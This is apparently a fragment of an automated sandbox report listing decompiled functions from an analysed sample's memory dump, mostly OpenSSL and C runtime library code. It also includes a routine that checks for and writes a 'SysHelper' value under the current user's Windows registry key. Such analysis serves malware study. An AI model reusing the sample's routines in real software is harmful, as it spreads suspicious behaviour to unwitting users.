0x0040cee3
0x0040cee7
0x0040ceec
0x0040cef1
0x0040cefb
0x0040cf06

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

\\n, xrefs: 0040CC1B
 , xrefs: 0040CCAF
Error encrypting message: %s, xrefs: 0040CE67

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 03c951cbcffbb22e4b904cab30c58fb638dd7e4556e50294ac70ee7de3450d71
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: 03c951cbcffbb22e4b904cab30c58fb638dd7e4556e50294ac70ee7de3450d71
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 96%

			E00463350(void* __ebx, void* __edx, void* __ebp, char _a4, intOrPtr* _a8) {
				void* __edi;
				intOrPtr _t12;
				void* _t13;
				char _t16;
				intOrPtr _t19;
				signed int _t22;
				char _t35;
				void* _t36;
				char* _t37;
				void* _t38;
				intOrPtr* _t39;
				intOrPtr* _t40;
				char* _t41;
				void* _t42;
				char* _t43;

				_t45 = __ebp;
				_t38 = __edx;
				_t34 = __ebx;
				_t40 = _a4;
				_t39 = _a8;
				 *_t39 = 0;
				if(_t40 == 0) {
					L26:
					return 1;
				} else {
					_t12 =  *_t40;
					if(_t12 == 0 || _t12 == 0xa) {
						goto L26;
					} else {
						_t13 = E00448190(_t40, "Proc-Type: ", 0xb);
						_t60 = _t13;
						if(_t13 == 0) {
							__eflags =  *((char*)(_t40 + 0xb)) - 0x34;
							if( *((char*)(_t40 + 0xb)) != 0x34) {
								goto L5;
							} else {
								__eflags =  *((char*)(_t40 + 0xc)) - 0x2c;
								if( *((char*)(_t40 + 0xc)) != 0x2c) {
									goto L5;
								} else {
									_t41 = _t40 + 0xd;
									__eflags = E00448190(_t41, "ENCRYPTED", 9);
									if(__eflags == 0) {
										_t16 =  *_t41;
										__eflags = _t16 - 0xa;
										if(_t16 == 0xa) {
											L13:
											__eflags =  *_t41;
											if(__eflags != 0) {
												_t42 = _t41 + 1;
												__eflags = E00448190(_t42, "DEK-Info: ", 0xa);
												if(__eflags == 0) {
													_t43 = _t42 + 0xa;
													__eflags = _t43;
													_t37 = _t43;
													_push(_t34);
													while(1) {
														_t35 =  *_t43;
														__eflags = _t35 - 0x41;
														if(_t35 < 0x41) {
															goto L20;
														}
														__eflags = _t35 - 0x5a;
														if(_t35 <= 0x5a) {
															L22:
															_t43 = _t43 + 1;
															continue;
														}
														L20:
														__eflags = _t35 - 0x2d;
														if(_t35 == 0x2d) {
															goto L22;
														}
														_t6 = _t35 - 0x30; // -48
														__eflags = _t6 - 9;
														if(_t6 <= 9) {
															goto L22;
														}
														 *_t43 = 0;
														_t19 = E0047ECD0(_t37);
														 *_t39 = _t19;
														 *_t43 = _t35;
														_a4 = _t43 + 1;
														_pop(_t36);
														__eflags = _t19;
														if(__eflags != 0) {
															_t22 = E00464360( &_a4, _t39 + 4,  *((intOrPtr*)(_t19 + 0xc)));
															asm("sbb eax, eax");
															return  ~( ~_t22);
														} else {
															E004512D0(_t36, _t38, _t39, _t45, __eflags, 9, 0x6b, 0x72, ".\\crypto\\pem\\pem_lib.c", 0x219);
															__eflags = 0;
															return 0;
														}
														goto L27;
													}
												} else {
													E004512D0(_t34, _t38, _t39, _t45, __eflags, 9, 0x6b, 0x69, ".\\crypto\\pem\\pem_lib.c", 0x200);
													__eflags = 0;
													return 0;
												}
											} else {
												goto L14;
											}
										} else {
											while(1) {
												__eflags = _t16;
												if(__eflags == 0) {
													break;
												}
												_t16 =  *((intOrPtr*)(_t41 + 1));
												_t41 = _t41 + 1;
												__eflags = _t16 - 0xa;
												if(_t16 != 0xa) {
													continue;
												} else {
													goto L13;
												}
												goto L27;
											}
											L14:
											E004512D0(_t34, _t38, _t39, _t45, __eflags, 9, 0x6b, 0x70, ".\\crypto\\pem\\pem_lib.c", 0x1fd);
											__eflags = 0;
											return 0;
										}
									} else {
										E004512D0(__ebx, _t38, _t39, __ebp, __eflags, 9, 0x6b, 0x6a, ".\\crypto\\pem\\pem_lib.c", 0x1f9);
										__eflags = 0;
										return 0;
									}
								}
							}
						} else {
							E004512D0(__ebx, _t38, _t39, __ebp, _t60, 9, 0x6b, 0x6b, ".\\crypto\\pem\\pem_lib.c", 0x1f4);
							L5:
							return 0;
						}
					}
				}
				L27:
			}

0x00463350
0x00463350
0x00463350
0x00463351
0x00463356
0x0046335a
0x00463362
0x004634c7
0x004634cd
0x00463368
0x00463368
0x0046336c
0x00000000
0x0046337a
0x00463382
0x0046338a
0x0046338c
0x004633ab
0x004633af
0x00000000
0x004633b1
0x004633b1
0x004633b5
0x00000000
0x004633b7
0x004633b9
0x004633ca
0x004633cc
0x004633eb
0x004633ed
0x004633ef
0x004633fd
0x004633fd
0x00463400
0x00463421
0x00463430
0x00463432
0x00463451
0x00463451
0x00463454
0x00463456
0x00463457
0x00463457
0x00463459
0x0046345c
0x00000000
0x00000000
0x0046345e
0x00463461
0x0046346f
0x0046346f
0x00000000
0x0046346f
0x00463463
0x00463463
0x00463466
0x00000000
0x00000000
0x00463468
0x0046346b
0x0046346d
0x00000000
0x00000000
0x00463473
0x00463476
0x0046347e
0x00463480
0x00463483
0x00463487
0x00463488
0x0046348a
0x004634b5
0x004634bf
0x004634c5
0x0046348c
0x0046349c
0x004634a4
0x004634a8
0x004634a8
0x00000000
0x0046348a
0x00463434
0x00463444
0x0046344c
0x00463450
0x00463450
0x00000000
0x00000000
0x00000000
0x004633f1
0x004633f1
0x004633f1
0x004633f3
0x00000000
0x00000000
0x004633f5
0x004633f8
0x004633f9
0x004633fb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004633fb
0x00463402
0x00463412
0x0046341a
0x0046341e
0x0046341e
0x004633ce
0x004633de
0x004633e6
0x004633ea
0x004633ea
0x004633cc
0x004633b5
0x0046338e
0x0046339e
0x004633a7
0x004633aa
0x004633aa
0x0046338c
0x0046336c
0x00000000

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

DEK-Info: , xrefs: 00463422
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
ENCRYPTED, xrefs: 004633BC
Proc-Type: , xrefs: 0046337C

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E004C5D39(void* __ebx, void* __edx, void* __eflags, intOrPtr _a4) {
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int _v32;
				unsigned int _v52;
				signed int _v56;
				signed int _v60;
				signed int _t32;
				signed int* _t34;
				signed int _t36;
				signed int _t42;
				signed int _t47;
				char* _t48;
				signed int _t49;
				signed int _t52;
				unsigned int _t58;
				signed int _t59;
				signed int _t60;
				void* _t63;
				signed int _t66;
				signed int _t73;
				void* _t78;
				char* _t79;
				signed int _t80;
				signed int _t81;
				signed int _t83;
				void* _t89;
				void* _t93;

				_t63 = __edx;
				_t89 = _t93;
				_t78 = E0042501F(__ebx);
				if(_t78 != 0) {
					_push(__ebx);
					__eflags =  *(_t78 + 0x24);
					if( *(_t78 + 0x24) != 0) {
						L7:
						_t79 =  *(_t78 + 0x24);
						_t32 = E0042C0FD(_t79, 0x86, E004C5D13(_a4));
						__eflags = _t32;
						if(_t32 != 0) {
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E004242FD(0x86, _t63);
							asm("int3");
							_push(_t89);
							__eflags = _v32;
							_push(_t79);
							if(__eflags != 0) {
								_t80 = _v16;
								__eflags = _t80;
								if(__eflags == 0) {
									goto L10;
								} else {
									_t7 = _t80 - 1; // -1
									_t36 = E0043FF8E(_v20, _t80, E004C5D13(_v12), _t7);
									__eflags = _t36;
									if(_t36 == 0) {
										goto L11;
									} else {
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										E004242FD(0x86, _t63);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_t58 = _v52;
										_push(0);
										__eflags = _t58;
										if(_t58 == 0) {
											L34:
											return _v60;
										} else {
											_push(_t80);
											_push(0x86);
											_t52 = _t58;
											_t83 = _v56;
											__eflags = _t83 & 0x00000003;
											_t73 = _v60;
											if((_t83 & 0x00000003) != 0) {
												while(1) {
													_t42 =  *_t83;
													_t83 = _t83 + 1;
													 *_t73 = _t42;
													_t73 = _t73 + 1;
													_t58 = _t58 - 1;
													__eflags = _t58;
													if(_t58 == 0) {
														goto L26;
													}
													__eflags = _t42;
													if(_t42 == 0) {
														__eflags = _t73 & 0x00000003;
														if((_t73 & 0x00000003) == 0) {
															L30:
															_t52 = _t58;
															_t59 = _t58 >> 2;
															__eflags = _t59;
															if(_t59 != 0) {
																goto L46;
															} else {
																goto L31;
															}
														} else {
															while(1) {
																 *_t73 = _t42;
																_t73 = _t73 + 1;
																_t58 = _t58 - 1;
																__eflags = _t58;
																if(_t58 == 0) {
																	goto L49;
																}
																__eflags = _t73 & 0x00000003;
																if((_t73 & 0x00000003) != 0) {
																	continue;
																} else {
																	goto L30;
																}
																goto L50;
															}
															goto L49;
														}
													} else {
														__eflags = _t83 & 0x00000003;
														if((_t83 & 0x00000003) != 0) {
															continue;
														} else {
															_t52 = _t58;
															_t60 = _t58 >> 2;
															__eflags = _t60;
															if(_t60 != 0) {
																goto L36;
															} else {
																goto L23;
															}
														}
													}
													goto L50;
												}
												goto L26;
											} else {
												_t60 = _t58 >> 2;
												__eflags = _t60;
												if(_t60 != 0) {
													do {
														L36:
														_t47 =  *_t83 ^ 0xffffffff ^ 0x7efefeff +  *_t83;
														_t66 =  *_t83;
														_t83 = _t83 + 4;
														__eflags = _t47 & 0x81010100;
														if((_t47 & 0x81010100) == 0) {
															goto L35;
														} else {
															__eflags = _t66;
															if(_t66 == 0) {
																__eflags = 0;
																 *_t73 = 0;
																goto L45;
															} else {
																__eflags = _t66;
																if(_t66 == 0) {
																	 *_t73 = _t66 & 0x000000ff;
																	goto L45;
																} else {
																	__eflags = _t66 & 0x00ff0000;
																	if((_t66 & 0x00ff0000) == 0) {
																		 *_t73 = _t66 & 0x0000ffff;
																		goto L45;
																	} else {
																		__eflags = _t66 & 0xff000000;
																		if((_t66 & 0xff000000) != 0) {
																			goto L35;
																		} else {
																			 *_t73 = _t66;
																			L45:
																			_t73 = _t73 + 4;
																			_t42 = 0;
																			_t59 = _t60 - 1;
																			__eflags = _t59;
																			if(_t59 != 0) {
																				L46:
																				_t42 = 0;
																				__eflags = 0;
																				do {
																					 *_t73 = 0;
																					_t73 = _t73 + 4;
																					_t59 = _t59 - 1;
																					__eflags = _t59;
																				} while (_t59 != 0);
																			}
																			_t52 = _t52 & 0x00000003;
																			__eflags = _t52;
																			if(_t52 != 0) {
																				goto L31;
																			} else {
																				L49:
																				return _v60;
																			}
																		}
																	}
																}
															}
														}
														goto L50;
														L35:
														 *_t73 = _t66;
														_t73 = _t73 + 4;
														_t60 = _t60 - 1;
														__eflags = _t60;
													} while (_t60 != 0);
													L23:
													_t52 = _t52 & 0x00000003;
													__eflags = _t52;
													if(_t52 == 0) {
														goto L26;
													} else {
														goto L24;
													}
												} else {
													while(1) {
														L24:
														_t42 =  *_t83;
														_t83 = _t83 + 1;
														 *_t73 = _t42;
														_t73 = _t73 + 1;
														__eflags = _t42;
														if(_t42 == 0) {
															break;
														}
														_t52 = _t52 - 1;
														__eflags = _t52;
														if(_t52 != 0) {
															continue;
														} else {
															L26:
															return _v60;
														}
														goto L50;
													}
													L32:
													_t52 = _t52 - 1;
													__eflags = _t52;
													if(_t52 != 0) {
														L31:
														 *_t73 = _t42;
														_t73 = _t73 + 1;
														__eflags = _t73;
														goto L32;
													}
													goto L34;
												}
											}
										}
									}
								}
							} else {
								L10:
								_t34 = E00425208(__eflags);
								_t81 = 0x16;
								 *_t34 = _t81;
								E004242D2();
								_t36 = _t81;
								L11:
								return _t36;
							}
						} else {
							_t48 = _t79;
							goto L5;
						}
					} else {
						_t49 = E00428C96(0x86, 1);
						 *(_t78 + 0x24) = _t49;
						__eflags = _t49;
						if(_t49 != 0) {
							goto L7;
						} else {
							_t48 = "Visual C++ CRT: Not enough memory to complete call to strerror.";
							L5:
							goto L6;
						}
					}
				} else {
					_t48 = "Visual C++ CRT: Not enough memory to complete call to strerror.";
					L6:
					return _t48;
				}
				L50:
			}

0x004c5d39
0x004c5d3a
0x004c5d42
0x004c5d46
0x004c5d4f
0x004c5d58
0x004c5d5b
0x004c5d78
0x004c5d7b
0x004c5d86
0x004c5d8e
0x004c5d90
0x004c5d96
0x004c5d97
0x004c5d98
0x004c5d99
0x004c5d9a
0x004c5d9b
0x004c5da0
0x004c5da1
0x004c5da4
0x004c5da8
0x004c5da9
0x004c5dbf
0x004c5dc2
0x004c5dc4
0x00000000
0x004c5dc6
0x004c5dc6
0x004c5dd8
0x004c5de0
0x004c5de2
0x00000000
0x004c5de4
0x004c5de6
0x004c5de7
0x004c5de8
0x004c5de9
0x004c5dea
0x004c5deb
0x004c5df0
0x004c5df1
0x004c5df2
0x004c5df3
0x004c5df4
0x004c5df5
0x004c5df6
0x004c5df7
0x004c5df8
0x004c5df9
0x004c5dfa
0x004c5dfb
0x004c5dfc
0x004c5dfd
0x004c5dfe
0x004c5dff
0x004c5e00
0x004c5e04
0x004c5e05
0x004c5e07
0x004c5e9f
0x004c5ea4
0x004c5e0d
0x004c5e0d
0x004c5e0e
0x004c5e0f
0x004c5e11
0x004c5e15
0x004c5e1b
0x004c5e1f
0x004c5e2c
0x004c5e2c
0x004c5e2e
0x004c5e31
0x004c5e33
0x004c5e36
0x004c5e36
0x004c5e39
0x00000000
0x00000000
0x004c5e3b
0x004c5e3d
0x004c5e6e
0x004c5e74
0x004c5e8c
0x004c5e8c
0x004c5e8e
0x004c5e8e
0x004c5e91
0x00000000
0x00000000
0x00000000
0x00000000
0x004c5e76
0x004c5e76
0x004c5e76
0x004c5e78
0x004c5e7b
0x004c5e7b
0x004c5e7e
0x00000000
0x00000000
0x004c5e84
0x004c5e8a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004c5e8a
0x00000000
0x004c5e76
0x004c5e3f
0x004c5e3f
0x004c5e45
0x00000000
0x004c5e47
0x004c5e47
0x004c5e49
0x004c5e49
0x004c5e4c
0x00000000
0x00000000
0x00000000
0x00000000
0x004c5e4c
0x004c5e45
0x00000000
0x004c5e3d
0x00000000
0x004c5e21
0x004c5e21
0x004c5e21
0x004c5e24
0x004c5eaf
0x004c5eaf
0x004c5ebb
0x004c5ebd
0x004c5ebf
0x004c5ec2
0x004c5ec7
0x00000000
0x004c5ec9
0x004c5ec9
0x004c5ecb
0x004c5ef9
0x004c5efb
0x00000000
0x004c5ecd
0x004c5ecd
0x004c5ecf
0x004c5ef5
0x00000000
0x004c5ed1
0x004c5ed1
0x004c5ed7
0x004c5eeb
0x00000000
0x004c5ed9
0x004c5ed9
0x004c5edf
0x00000000
0x004c5ee1
0x004c5ee1
0x004c5efd
0x004c5efd
0x004c5f00
0x004c5f02
0x004c5f02
0x004c5f05
0x004c5f07
0x004c5f07
0x004c5f07
0x004c5f09
0x004c5f09
0x004c5f0b
0x004c5f0e
0x004c5f0e
0x004c5f0e
0x004c5f09
0x004c5f13
0x004c5f13
0x004c5f16
0x00000000
0x004c5f1c
0x004c5f1c
0x004c5f23
0x004c5f23
0x004c5f16
0x004c5edf
0x004c5ed7
0x004c5ecf
0x004c5ecb
0x00000000
0x004c5ea5
0x004c5ea5
0x004c5ea7
0x004c5eaa
0x004c5eaa
0x004c5eaa
0x004c5e4e
0x004c5e4e
0x004c5e4e
0x004c5e51
0x00000000
0x00000000
0x00000000
0x00000000
0x004c5e2a
0x004c5e53
0x004c5e53
0x004c5e53
0x004c5e55
0x004c5e58
0x004c5e5a
0x004c5e5d
0x004c5e5f
0x00000000
0x00000000
0x004c5e61
0x004c5e61
0x004c5e64
0x00000000
0x004c5e66
0x004c5e66
0x004c5e6d
0x004c5e6d
0x00000000
0x004c5e64
0x004c5e98
0x004c5e98
0x004c5e98
0x004c5e9b
0x004c5e93
0x004c5e93
0x004c5e95
0x004c5e95
0x00000000
0x004c5e95
0x00000000
0x004c5e9e
0x004c5e24
0x004c5e1f
0x004c5e07
0x004c5de2
0x004c5dab
0x004c5dab
0x004c5dab
0x004c5db2
0x004c5db3
0x004c5db5
0x004c5dba
0x004c5dbc
0x004c5dbe
0x004c5dbe
0x004c5d92
0x004c5d92
0x00000000
0x004c5d92
0x004c5d5d
0x004c5d60
0x004c5d65
0x004c5d6a
0x004c5d6c
0x00000000
0x004c5d6e
0x004c5d6e
0x004c5d73
0x00000000
0x004c5d74
0x004c5d6c
0x004c5d48
0x004c5d48
0x004c5d75
0x004c5d77
0x004c5d77
0x00000000

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__invoke_watson.LIBCMT ref: 004C5D9B
__get_sys_err_msg.LIBCMT ref: 004C5DCD
__invoke_watson.LIBCMT ref: 004C5DEB

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg__invoke_watson$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 2139067377-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040C6A0() {
				void* _v8;
				char _v12;
				int _v16;
				int _v20;
				char _t16;

				_v8 = 0;
				_t16 = RegOpenKeyExW(0x80000001, L"Software\\Microsoft\\Windows\\CurrentVersion", 0, 0xf003f,  &_v8);
				if(_t16 != 0) {
					L4:
					return 1;
				} else {
					_v12 = _t16;
					_v20 = 4;
					_v16 = 4;
					if(RegQueryValueExW(_v8, L"SysHelper", 0,  &_v20,  &_v12,  &_v16) != 0) {
						_v12 = 1;
						RegSetValueExW(_v8, L"SysHelper", 0, 4,  &_v12, 4);
						RegCloseKey(_v8);
						goto L4;
					} else {
						RegCloseKey(_v8);
						return 0;
					}
				}
			}

0x0040c6a9
0x0040c6c2
0x0040c6ca
0x0040c734
0x0040c739
0x0040c6cc
0x0040c6cc
0x0040c6d6
0x0040c6e1
0x0040c6fb
0x0040c711
0x0040c725
0x0040c72e
0x00000000
0x0040c6fd
0x0040c700
0x0040c70b
0x0040c70b
0x0040c6fb

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 88%

			E004573F0(signed int _a4, signed int _a8, signed int _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24, char _a28, signed int _a60, intOrPtr _a68, char _a72, signed int _a76, signed int _a80, signed int _a84, signed int _a88, intOrPtr _a92, signed int _a96, intOrPtr _a100, signed char _a104) {
				signed int _v0;
				signed int _v4;
				intOrPtr _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t129;
				intOrPtr _t135;
				signed int _t136;
				signed int _t140;
				void* _t141;
				signed int _t143;
				signed int _t148;
				void* _t150;
				intOrPtr _t154;
				signed char _t160;
				char _t166;
				intOrPtr _t170;
				signed int _t174;
				signed int _t181;
				signed int* _t182;
				intOrPtr _t184;
				intOrPtr _t185;
				void* _t186;
				intOrPtr _t187;
				signed char _t189;
				signed int _t192;
				signed int* _t196;
				signed int _t199;
				intOrPtr* _t200;
				signed int _t203;
				signed int _t205;
				signed int _t206;
				void* _t208;
				intOrPtr _t209;
				signed int _t213;
				intOrPtr _t214;
				intOrPtr* _t217;
				signed int _t220;
				signed int _t221;
				void* _t223;
				signed int _t224;
				signed int _t225;
				signed int _t226;
				signed int _t231;
				intOrPtr* _t232;
				signed int* _t233;
				void* _t235;
				signed int _t240;
				void* _t241;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				intOrPtr _t249;
				intOrPtr _t250;
				signed int _t253;
				signed int _t257;
				void* _t262;
				signed char _t268;

				E0042F7C0(0x40);
				_t129 =  *0x50ad20; // 0xd964a3b
				_a60 = _t129 ^ _t253;
				_t187 = _a100;
				_t181 = _a84;
				_t249 = _a68;
				_a28 = _a72;
				_a8 = _a76;
				_v0 = _a80;
				_t220 = 0;
				_a4 = 0x4ffca4;
				_a12 = 0;
				_t188 =  <  ? 0 : _t187;
				_t213 = _a88;
				_a100 =  <  ? 0 : _t187;
				_t189 = _a104;
				if((_t189 & 0x00000040) == 0) {
					_t257 = _t213;
					if(_t257 > 0 || _t257 >= 0 && _t181 >= 0) {
						__eflags = _t189 & 0x00000002;
						if((_t189 & 0x00000002) == 0) {
							__eflags = _t189 & 0x00000004;
							_a16 = 0x20;
							_t179 =  !=  ? _a16 : 0;
							_a12 =  !=  ? _a16 : 0;
						} else {
							_a12 = 0x2b;
						}
					} else {
						_t181 =  ~_t181;
						_a12 = 0x2d;
						asm("adc edx, eax");
						_t213 =  ~_t213;
					}
				}
				_t135 = _a92;
				if((_t189 & 0x00000008) != 0) {
					if(_t135 != 8) {
						__eflags = _a92 - 0x10;
						_t178 =  !=  ? 0x4ffca4 : "0x";
						_a4 =  !=  ? 0x4ffca4 : "0x";
						_t135 = _a92;
					} else {
						_a4 = "0";
					}
				}
				_a16 = "0123456789abcdef";
				_t230 =  !=  ? 1 : _t220;
				_t262 =  !=  ? 1 : _t220;
				_t192 =  ==  ? _a16 : "0123456789ABCDEF";
				_t231 = _t192;
				while(1) {
					_t136 = E0043AE20(_t181, _t213, _t135, 0);
					_a4 = _t181;
					_t181 = _t136;
					 *((char*)(_t253 + _t220 + 0x30)) =  *((intOrPtr*)(_t192 + _t231));
					_t220 = _t220 + 1;
					_t192 = _t181 | _t213;
					if(_t192 == 0) {
						break;
					}
					_t135 = _a92;
					if(_t220 < 0x1a) {
						continue;
					}
					break;
				}
				_t232 = _a4;
				_a16 = _t220;
				if(_t220 != 0x1a) {
					if(__eflags >= 0) {
						E0042AC83();
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						E0042F7C0(4);
						_t140 = _a8;
						_t214 = 0;
						__eflags = _t140;
						_v16 = 0;
						_t196 =  !=  ? _t140 : "<NULL>";
						_t141 = 0;
						_a8 = _t196;
						__eflags =  *_t196;
						if( *_t196 != 0) {
							do {
								_t141 = _t141 + 1;
								__eflags =  *(_t141 + _t196);
							} while ( *(_t141 + _t196) != 0);
						}
						_t199 =  <  ? _t214 : _a16 - _t141;
						__eflags = _a12 & 0x00000001;
						_a16 = _t199;
						if((_a12 & 0x00000001) != 0) {
							_t199 =  ~_t199;
							_a16 = _t199;
						}
						_push(_t181);
						_t182 = _v0;
						_push(_t249);
						_t250 = _v8;
						_push(_t232);
						_t233 = _a4;
						_push(_t220);
						_t221 = _v4;
						__eflags = _t199;
						if(_t199 > 0) {
							while(1) {
								__eflags = _t214 - _a20;
								if(_t214 >= _a20) {
									goto L71;
								}
								__eflags = _t221;
								if(_t221 != 0) {
									__eflags =  *_t182 -  *_t233;
									if( *_t182 >=  *_t233) {
										do {
											__eflags =  *_t221;
											if( *_t221 != 0) {
												 *_t233 =  *_t233 + 0x400;
												__eflags =  *_t233;
												_t150 = E00454F30( *_t221,  *_t233, ".\\crypto\\bio\\b_print.c", 0x2ed);
												_t253 = _t253 + 0x10;
												 *_t221 = _t150;
											} else {
												__eflags =  *_t233;
												if( *_t233 == 0) {
													 *_t233 = 0x400;
												}
												 *_t221 = E00454E50( *_t233, ".\\crypto\\bio\\b_print.c", 0x2e5);
												_t253 = _t253 + 0xc;
												_t206 =  *_t182;
												__eflags = _t206;
												if(_t206 != 0) {
													E0042D8D0(_t152, _v0, _t206);
													_t253 = _t253 + 0xc;
												}
												_v0 = 0;
											}
											__eflags =  *_t182 -  *_t233;
										} while ( *_t182 >=  *_t233);
										_t214 = _v16;
									}
								}
								_t203 =  *_t182;
								__eflags = _t203 -  *_t233;
								if(_t203 <  *_t233) {
									_t148 = _v0;
									__eflags = _t148;
									if(_t148 == 0) {
										 *((char*)(_t203 +  *_t221)) = 0x20;
									} else {
										 *((char*)(_t148 + _t203)) = 0x20;
									}
									 *_t182 =  *_t182 + 1;
									__eflags =  *_t182;
								}
								_t214 = _t214 + 1;
								_t205 = _a16 - 1;
								_v16 = _t214;
								_a16 = _t205;
								__eflags = _t205;
